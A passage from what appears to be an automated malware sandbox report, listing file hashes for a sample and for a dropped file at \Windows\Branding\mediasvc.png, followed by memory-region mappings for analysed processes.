
                                                                        70d1bf1c7a95f0613358ac07bc3864ad

                                                                        SHA1

                                                                        52783a6ace472471ad68b602c604e48340737596

                                                                        SHA256

                                                                        88e639c34e7798f2e51a121db7e0dedc7c5f4bfa95963bb5c93bcb221e0127c3

                                                                        SHA512

                                                                        ed5e46ee00e735ca09c5cf4dfed311a4229ff08e9d626c1afa2ed6cc7543f8808259f9553666844ebf25d775b20af0a9bafe59c3b525a6918db1e8c7f70e4fb5

                                                                      • \Windows\Branding\mediasvc.png

                                                                        MD5

                                                                        58b4c6a70f55d70a401015da300261b2

                                                                        SHA1

                                                                        a13b8a1a577c3638c311f5e668b61cea8a532d35

                                                                        SHA256

                                                                        9eaa1a087f7aaa768134c540941584fdc2cd8d050b375a36ded9d1cdf7fb7fe0

                                                                        SHA512

                                                                        0ae4aaf9f6383b752b824f86e9ae10983e9f00df9868efa3a1c5e1f2bfae062e43458260c7a379b7d6f711f4ef6a6f22035cc4cd21d7ba1b3c7a5e10f8f06289

                                                                      • memory/276-75-0x0000000000000000-mapping.dmp

                                                                      • memory/328-176-0x0000000000000000-mapping.dmp

                                                                      • memory/428-167-0x0000000000000000-mapping.dmp

                                                                      • memory/516-186-0x0000000000000000-mapping.dmp

                                                                      • memory/556-172-0x0000000000000000-mapping.dmp

                                                                      • memory/616-164-0x0000000000000000-mapping.dmp

                                                                      • memory/636-131-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/636-134-0x0000000002430000-0x0000000002431000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/636-133-0x000000001AB00000-0x000000001AB01000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/636-121-0x0000000000000000-mapping.dmp

                                                                      • memory/636-126-0x000000001AB80000-0x000000001AB82000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/636-127-0x000000001AB84000-0x000000001AB86000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/636-129-0x000000001A910000-0x000000001A911000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/772-163-0x0000000000000000-mapping.dmp

                                                                      • memory/792-173-0x0000000000000000-mapping.dmp

                                                                      • memory/792-189-0x0000000000000000-mapping.dmp

                                                                      • memory/792-241-0x0000000000000000-mapping.dmp

                                                                      • memory/880-87-0x0000000000000000-mapping.dmp

                                                                      • memory/880-94-0x000000001ACE4000-0x000000001ACE6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/880-119-0x000000001B9F0000-0x000000001B9F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/880-106-0x000000001BD60000-0x000000001BD61000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/880-120-0x000000001BA00000-0x000000001BA01000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/880-100-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/880-99-0x0000000002990000-0x0000000002991000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/880-97-0x000000001B800000-0x000000001B801000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/880-95-0x0000000002580000-0x0000000002581000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/880-93-0x000000001ACE0000-0x000000001ACE2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/880-184-0x0000000000000000-mapping.dmp

                                                                      • memory/952-159-0x0000000000000000-mapping.dmp

                                                                      • memory/960-188-0x0000000000000000-mapping.dmp

                                                                      • memory/968-162-0x0000000000000000-mapping.dmp

                                                                      • memory/1148-78-0x0000000000000000-mapping.dmp

                                                                      • memory/1356-191-0x0000000000000000-mapping.dmp

                                                                      • memory/1356-166-0x0000000000000000-mapping.dmp

                                                                      • memory/1552-170-0x0000000000000000-mapping.dmp

                                                                      • memory/1552-185-0x0000000000000000-mapping.dmp

                                                                      • memory/1580-178-0x0000000000000000-mapping.dmp

                                                                      • memory/1600-142-0x0000000000000000-mapping.dmp

                                                                      • memory/1600-201-0x0000000000000000-mapping.dmp

                                                                      • memory/1600-155-0x000000001AC20000-0x000000001AC22000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1600-156-0x000000001AC24000-0x000000001AC26000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1624-168-0x0000000000000000-mapping.dmp

                                                                      • memory/1624-194-0x0000000000000000-mapping.dmp

                                                                      • memory/1640-171-0x0000000000000000-mapping.dmp

                                                                      • memory/1656-198-0x0000000000000000-mapping.dmp

                                                                      • memory/1668-200-0x0000000000000000-mapping.dmp

                                                                      • memory/1668-165-0x0000000000000000-mapping.dmp

                                                                      • memory/1680-175-0x0000000000000000-mapping.dmp

                                                                      • memory/1680-197-0x0000000000000000-mapping.dmp

                                                                      • memory/1680-240-0x0000000000000000-mapping.dmp

                                                                      • memory/1684-161-0x0000000000000000-mapping.dmp

                                                                      • memory/1692-193-0x0000000000000000-mapping.dmp

                                                                      • memory/1692-202-0x0000000000000000-mapping.dmp

                                                                      • memory/1708-179-0x0000000000000000-mapping.dmp

                                                                      • memory/1736-177-0x0000000000000000-mapping.dmp

                                                                      • memory/1780-174-0x0000000000000000-mapping.dmp

                                                                      • memory/1808-158-0x000000001C590000-0x000000001C591000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1808-85-0x000000001B4A0000-0x000000001B4A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1808-101-0x000000001AB7A000-0x000000001AB99000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1808-71-0x000000001AB74000-0x000000001AB76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1808-86-0x000000001AB30000-0x000000001AB31000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1808-68-0x000000001ABF0000-0x000000001ABF1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1808-67-0x00000000023E0000-0x00000000023E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1808-69-0x000000001AB70000-0x000000001AB72000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1808-66-0x000007FEFB6A1000-0x000007FEFB6A3000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1808-65-0x0000000000000000-mapping.dmp

                                                                      • memory/1808-72-0x0000000002510000-0x0000000002511000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1808-70-0x0000000002430000-0x0000000002431000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1808-74-0x000000001B5D0000-0x000000001B5D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1808-84-0x000000001AAB0000-0x000000001AAB1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1808-82-0x0000000002420000-0x0000000002421000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1828-180-0x0000000000000000-mapping.dmp

                                                                      • memory/1888-192-0x0000000000000000-mapping.dmp

                                                                      • memory/1900-169-0x0000000000000000-mapping.dmp

                                                                      • memory/2000-183-0x0000000000000000-mapping.dmp

                                                                      • memory/2016-59-0x0000000041480000-0x00000000418A0000-memory.dmp

                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/2016-61-0x0000000040FE2000-0x0000000040FE4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2016-63-0x0000000040FE6000-0x0000000040FE7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2016-64-0x0000000040FE7000-0x0000000040FE8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2016-62-0x0000000040FE4000-0x0000000040FE6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2024-203-0x0000000000000000-mapping.dmp

                                                                      • memory/2024-208-0x0000000019380000-0x0000000019382000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2024-209-0x0000000019384000-0x0000000019386000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2024-239-0x000000001938A000-0x00000000193A9000-memory.dmp

                                                                        Filesize

                                                                        124KB